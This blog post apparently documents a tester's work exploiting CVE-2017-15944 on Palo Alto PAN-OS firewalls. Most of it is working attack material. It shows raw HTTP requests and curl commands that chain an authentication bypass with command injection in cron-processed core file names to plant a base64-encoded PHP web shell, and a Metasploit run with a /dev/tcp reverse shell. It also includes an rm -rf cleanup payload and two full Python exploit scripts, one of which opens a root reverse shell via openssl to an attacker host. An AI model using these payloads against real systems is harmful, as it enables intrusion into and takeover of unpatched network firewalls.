Archive

Posts Tagged ‘PANOS’

Notes on CVE-2017-15944 (PAN-OS)

July 18, 2021 Leave a comment

Description

I encountered a situation where the target running PAN-OS was vulnerable to CVE-2017-15944 but I was unable to exploit it using Metasploit.

The below is to document my process about getting the exploit to work on the target system. I will update this post when I have more information.

This might come in handy to others facing the same issues as I did.

The issue with exploiting CVE-2017-15944

One of the techniques of exploiting CVE-2017-15944 exploit, is to create a file under /opt/pancfg/mgmt/logdb/traffic/1/* which gets processed by the cron job (/etc/cron.d/indexgen -> /usr/local/bin/genindex_batch.sh). Metasploit uses this path.

The article at https://tinyhack.com/2019/01/10/alternative-way-to-exploit-cve-2017-15944-on-pan-os-6-1-0/ mentions that it might be impossible to exploit CVE-2017-15944 if the script is already running.

If the Metasploit module (/exploit/linux/http/panos_readsessionvars) did not work for you, you might want to read further.

The article mentions that the cron job (/etc/cron.d/core_compress -> /usr/local/bin/core_compress) is also vulnerable to command injection and can be used for this attack.


```
The problem with this is: this script will check if another instance of it is still running, and if it is, then it will just exit, preventing us from performing an attack when another attacker is still connected.

Vulnerable Versions

  • PAN-OS 7.1 <= 7.1.13
  • PAN-OS 7.0 <= 7.0.18
  • PAN-OS 6.1 <= 6.1.18

Checking if host is vulnerable to CVE-2017-15944

The below nuclei-template shows that the target host is vulnerable to authentication bypass (CVE-2017-15944).

% nuclei -t CVE-2017-15944.yaml -l /tmp/websites.hosts 
[INF] Loading templates...
[INF] [CVE-2017-15944] PreAuth RCE on Palo Alto GlobalProtect (@emadshanab,milo2012) [high]
[INF] Loading workflows...
[INF] Using 1 rules (1 templates, 0 workflows)
[2021-07-18 02:08:53] [CVE-2017-15944] [http] [high] https://192.168.31.187/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";

Exploit failing in Metasploit

Below is an example of the exploit failing in Metasploit.

Below is an example of the exploit failing in Metasploit.
```
msf6 exploit(linux/http/panos_readsessionvars) > show options
Module options (exploit/linux/http/panos_readsessionvars):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CBHOST                    no        The listener address used for staging the real payload
   CBPORT                    no        The listener port used for staging the real payload
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS   192.168.31.187   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    443              yes       The target port (TCP)
   SSL      true             yes       Use SSL
   VHOST                     no        HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.31.186   yes       The listen address (an interface may be specified)
   LPORT  4445             yes       The listen port
Exploit target:
   Id  Name
   --  ----
   0   Automatic
msf6 exploit(linux/http/panos_readsessionvars) > exploit 
[+] 0<&133-;exec 133<>/dev/tcp/192.168.31.186/4445;sh <&133 >&133 2>&133
[*] Started reverse TCP handler on 192.168.31.186:4445 
[*] Creating our corrupted session ID...
[*] Calling Administrator.get to create directory under /opt/pancfg/mgmt/logdb/traffic/1/...
[*] Waiting up to 20 minutes for the cronjob to fire and execute...
[*] Waiting for a session, 1200 seconds left...
[*] Waiting for a session, 1169 seconds left...

List of cron jobs in /etc/cron.d on PanOS 7.0.1

[root@PA-VM cron.d]# pwd
pwd
/etc/cron.d
[root@PA-VM cron.d]# ls -alh
ls -alh
total 60K
drwx------  2 root root 4.0K Jul 17 08:41 .
drwxr-xr-x 54 root root 4.0K Jul 17 08:41 ..
-rw-r--r--  1 root root   69 Jul  9  2015 bot
-rw-r--r--  1 root root  363 Jul  9  2015 checkluserdb
-rw-r--r--  1 root root   70 Jul  9  2015 core_compress
-rw-r--r--  1 root root   75 Jul  9  2015 indexgen
-rw-r--r--  1 root root   82 Jul 17 08:44 pan-auto-updater
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-av-updater
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-cc-crypto-self-test
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-cc-software-integrity-self-test
-rw-r--r--  1 root root   17 Jul 17 08:44 pan-gpdatafile-updater
-rw-r--r--  1 root root   77 Jul  9  2015 reportgen
-rw-r--r--  1 root root   17 Jul 17 08:44 sc_download
-rw-r--r--  1 root root  172 Jul 17 08:41 stats_updater
-rw-r--r--  1 root root   97 Jul  9  2015 vacuum-sqlite-db
Cron jobDetails
/etc/cron.d/indexgen0,15,30,45 * * * * root /usr/local/bin/genindex_batch.sh
/etc/cron.d/core_compress0,15,30,45 * * * * root /usr/local/bin/core_compress
/etc/cron.d/reportgen02 2 * * * root /usr/local/bin/genreports_batch.sh generate
/etc/cron.d/stats_updater10 02,06,10,14,18,22 * * * root /usr/local/bin/masterd_batch -i -s -n -p 1 stats_gen /usr/local/bin/stats_upload.py > /var/log/pan/stats_service.log 2>&1
/etc/cron.d/pan-auto-updater2 1 * * 3 root /usr/local/bin/pan-auto-updater.sh download-only
/etc/cron.d/bot1 0 * * * root /usr/local/bin/rotate_botnet_log.s

We can make use of the cron job (/etc/cron.d/core_compress) that calls (/usr/local/bin/core_compress) by writing to /var/cores/*.core file.

We will have to create a file under /var/cores that writes a PHP script to /var/appweb/htdocs/api/cmd.php once the cron job has executed.

Request
POST /php/utils/router.php/Administrator.get HTTP/1.1
Host: 192.168.31.187
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.23.0
Cookie: PHPSESSID=aaa97f239b0eecbadc5e76a8025cafe7; _appwebSessionId_=aaa97f239b0eecbadc5e76a8025cafe7
Content-Length: 505
{"action":"PanDirect","method":"execute","data":["07c5807d0d927dcd0980f86024e5208b","Administrator.get",{"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core ;'/>\u0000"}],"type":"rpc","tid":713}
Response
HTTP/1.1 200 OK
Server: 
Date: Sun, 18 Jul 2021 06:33:47 GMT
Content-Type: application/json; charset=UTF-8
Connection: close
Pragma: private
Cache-Control: private, must-revalidate, post-check=0, pre-check=0
Expires: Mon, 26 Jul 1997 05:00:00 GMT
X-FRAME-OPTIONS: SAMEORIGIN
Content-Length: 237
{"type":"rpc","tid":"713","action":"PanDirect","method":"execute","predefinedCacheUpdate":"true","result":{"@async-mode":"yes","@status":"success","@code":"19","result":{"msg":{"line":"Async request enqueued with jobid 11"},"job":"11"}}}

Below is the sample curl command to exploit CVE-2017-15944 using /etc/cron.d/core_compress. A PHP file will be created under /var/appweb/htdocs/api/cmd.php.

If the /var/cores folder doesn’t work, below is a list of other folders you can use. Replace the ../../../../var/cores text in the curl command below with one of the others.

  • /var/cores
  • /opt/dpfs/var/cores
  • /opt/var.cp/cores
  • /opt/var.dp0/cores
  • /opt/var.dp1/cores
  • /opt/var.dp2/cores
  • /opt/lpfs/var/cores

The paths were referenced in the /usr/local/bin/core_compress file.

% curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.31.187' -H $'Connection: close' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'User-Agent: python-requests/2.23.0' -H $'Content-Length: 505' \
    -b $'PHPSESSID=aaa97f239b0eecbadc5e76a8025cafe7; _appwebSessionId_=aaa97f239b0eecbadc5e76a8025cafe7' \
    --data-binary $'{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin\']\\\" async-mode=\'yes\' refresh=\'yes\' cookie=\'../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\\\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\\\".decode(\\\"base64\\\")) ;\'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}' \
    $'https://192.168.31.187/php/utils/router.php/Administrator.get'

Checking if cron job has executed

We can use the below loop command to check when the cron job has executed. The cron job (/etc/cron.d/core_compress) runs at 0,15,30,45 minutes every hour.

% while true; do httpx -l /tmp/web1.txt -status-code -silent; sleep 3; done
https://192.168.31.187/api/cmd.php?c=ifconfig [404]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]
https://192.168.31.187/api/cmd.php?c=ifconfig [200]

Accessing the Backdoor

The below command shows us accessing the PHP script at https://x.x.x.x/api/cmd.php to run the command ‘ifconfig’ on the target system.

% curl -k  -L "https://192.168.31.187/api/cmd.php?c=ifconfig" 
eth0      Link encap:Ethernet  HWaddr 00:0C:29:A5:4A:57  
          inet addr:192.168.31.187  Bcast:192.168.31.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fea5:4a57/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6567 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4322 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:855990 (835.9 KiB)  TX bytes:997351 (973.9 KiB)
lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.255.255.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:181897 errors:0 dropped:0 overruns:0 frame:0
          TX packets:181897 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:108823710 (103.7 MiB)  TX bytes:108823710 (103.7 MiB)
tap0      Link encap:Ethernet  HWaddr 00:70:76:69:66:FF  
          inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:500 
          RX bytes:2918 (2.8 KiB)  TX bytes:2012 (1.9 KiB)
tap0.1    Link encap:Ethernet  HWaddr 00:70:76:69:66:FF  
          inet addr:127.130.1.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 b)  TX bytes:492 (492.0 b)
tap0.251  Link encap:Ethernet  HWaddr 00:70:76:69:66:FF  
          inet addr:127.131.1.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: ::ffff:127.131.1.1/112 Scope:Global
          inet6 addr: fe80::270:76ff:fe69:66ff/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:15 errors:0 dropped:0 overruns:0 frame:0
          TX packets:14 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:2708 (2.6 KiB)  TX bytes:1052 (1.0 KiB)

One thing to note is that the web server is running under the “nobody” account.

% curl -k -L "https://192.168.31.187/api/b.php?c=whoami" 
nobody

Interesting Files

  • /opt/pancfg/mgmt/saved-configs/running-config.xml

Both Techniques Fail. What now ?

If the target host is vulnerable but both techniques fail, Then you might want to brute force the filenames under the / and /api/ folder.
Maybe a shell was left behind by the tester or attacker. Please see below for reference.

% git clone https://gitlab.com/kalilinux/packages/crunch
% cd crunch && make
% ./crunch 1 3 -f charset.lst lalpha -o /tmp/wordlist.txt
% ./gobuster dir -u https://192.168.31.187/api/ -w /tmp/wordlist.txt -x .php -k
===============================================================
2021/07/18 14:04:21 Starting gobuster
===============================================================
/cmd (Status: 200)
/cmd.php (Status: 200)

Cleanup

If you would like to clean up the files from the /var/cores folder, you would normally use the command “rm -rf /var/cores/*“. However, in this case, you need to replace forward flash / with ${PATH:0:1}. The updated command to use would be “rm -rf ${PATH:0:1}var${PATH:0:1}cores${PATH:0:1}*”.

Below is the updated code for the payload.

exp_post = "{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin']\\\" async-mode='yes' refresh='yes' cookie='../../../../../../var/cores/$(rm -rf ${PATH:0:1}var${PATH:0:1}cores${PATH:0:1}*).core ;'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}"

Download Links

The below contains the download links for PanOS images that I found online.

FilenameDownload Link
PA-VM-ESX-6.1.0.ovahttps://www.4shared.com/file/KUy8PHx-ce/PA-VM-ESX-610.html
PA-VM-ESX-7.0.1.ova https://www.4shared.com/file/SiJE2phFba/PA-VM-ESX-701.html
PA-VM-ESX-8.0.5.ovahttps://pan.baidu.com/s/1-VmvtAdYEj0bZgzE6vVnew (h92v)

Setting up PanOS VM

% configure
% set deviceconfig system ip-address 192.168.31.187 netmask 255.255.255.0 
% set deviceconfig system default-gateway 192.168.31.1
% set deviceconfig system dns-setting servers primary 8.8.8.8
% commit

Exploit Scripts

There are two sample scripts below that you can use

  • Script that deploy PHP shell on target
  • Script that establish reverse SSL connection back to attacker

Script to deploy PHP shell on the target host
If you use the below script, you will only have the privilege of ‘nobody’ account.

Link to script: https://gist.github.com/milo2012/b75e82263b4057aa664a2b87f6943980

#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import base64
requests.packages.urllib3.disable_warnings()
session = requests.Session()
def step3_exp():
	exp_post = "{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin']\\\" async-mode='yes' refresh='yes' cookie='../../../../../../var/cores/$(echo PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==|base64 -d >${PATH:0:1}var${PATH:0:1}appweb${PATH:0:1}htdocs${PATH:0:1}api${PATH:0:1}cmd.php).core -print -exec python -c exec(\\\"PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOz8+Cg==\\\".decode(\\\"base64\\\")) ;'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}"
	return exp_post
def exploit(target, port):
    step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port)
    step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port)
    #proxies = {'https': 'http://127.0.0.1:8080'}
    #session.proxies.update(proxies)
    try:
    	if session.get(step2_url, verify=False).status_code == 200:
    		exp_post = step3_exp()
    		print(step3_url)
    		print(exp_post)
    		rce = session.post(step3_url, data=exp_post, verify=False).json()
    		print(rce)
    		if rce['result']['@status'] == 'success':
    			print('[+] Success, please wait ... ')
    			print('[+] JobID: {}'.format(rce['result']['result']['job']))
    		else:
    			exit('[!] Fail')
    	else:
    		exit('[!] Bypass fail')
    except Exception as err:
    	print(err)
if __name__ == '__main__':
    if len(sys.argv) <= 3:
        exploit(sys.argv[1], sys.argv[2])
    else:
        exit('[+] Usage: python CVE_2017_15944.py IP PORT')

Script to get reverse shell using OpenSSL
If you use the below script, you will only have the privilege of ‘root’ account.

Below are the steps to run the script.

  • Modify the “commandList.append” line in the script with the command that you want to run
  • Run the below commands in separate terminals
    • python3 CVE-2017-15944.py 192.168.31.187 443 192.168.31.186 4444 4445
    • ncat –ssl -vv -l -p 4444
    • ncat –ssl -vv -l -p 4445

We use command “openssl s_client -quiet -connect 192.168.31.186:4444 | /bin/bash | openssl s_client -quiet -connect 192.168.31.186:4445” in the script to establish a reverse shell.

Link to script: https://gist.github.com/milo2012/708c062d1943ed7850705cd066bc37f8

#!/usr/bin/env python
# encoding: utf-8
import requests
import sys
import base64
import time
requests.packages.urllib3.disable_warnings()
session = requests.Session()
path = "/opt/var.cp/cores"
def step3_exp(command):
	exp_post = "{\"action\":\"PanDirect\",\"method\":\"execute\",\"data\":[\"07c5807d0d927dcd0980f86024e5208b\",\"Administrator.get\",{\"changeMyPassword\":true,\"template\":\"asd\",\"id\":\"admin']\\\" async-mode='yes' refresh='yes' cookie='../../../../../.."+path+"/$("+command+").core ;'/>\\u0000\"}],\"type\":\"rpc\",\"tid\":713}"
	return exp_post
#date +%T -s "21:29:30"
def exploit(target, port, localip, lport1, lport2):
    step2_url = 'https://{}:{}/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";'.format(target, port)
    step3_url = 'https://{}:{}/php/utils/router.php/Administrator.get'.format(target, port)
    commandList=[] 
    commandList.append("openssl s_client -quiet -connect "+localip+":"+lport1+" | /bin/bash | openssl s_client -quiet -connect "+localip+":"+lport2)
    #commandList.append("rm -rf "+path+"/*")
    try:
    	if session.get(step2_url, verify=False).status_code == 200:
    		print(step3_url)
    		for command in commandList:
    			print(command)
    			command = command.replace("/","${PATH:0:1}")
    			exp_post = step3_exp(command)
    			rce = session.post(step3_url, data=exp_post, verify=False).json()
    			print(rce)
    			if rce['result']['@status'] == 'success':
    				print('[+] Success, please wait ... ')
    				print('[+] JobID: {}'.format(rce['result']['result']['job']))
    			else:
    				exit('[!] Fail')
    	else:
    		exit('[!] Bypass fail')
    except Exception as err:
    	print(err)
if __name__ == '__main__':
    if len(sys.argv) <= 6:
        exploit(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5])
    else:
        exit('[+] Usage: python CVE_2017_15944.py IP RPORT LOCALIP LPORT1 LPORT2')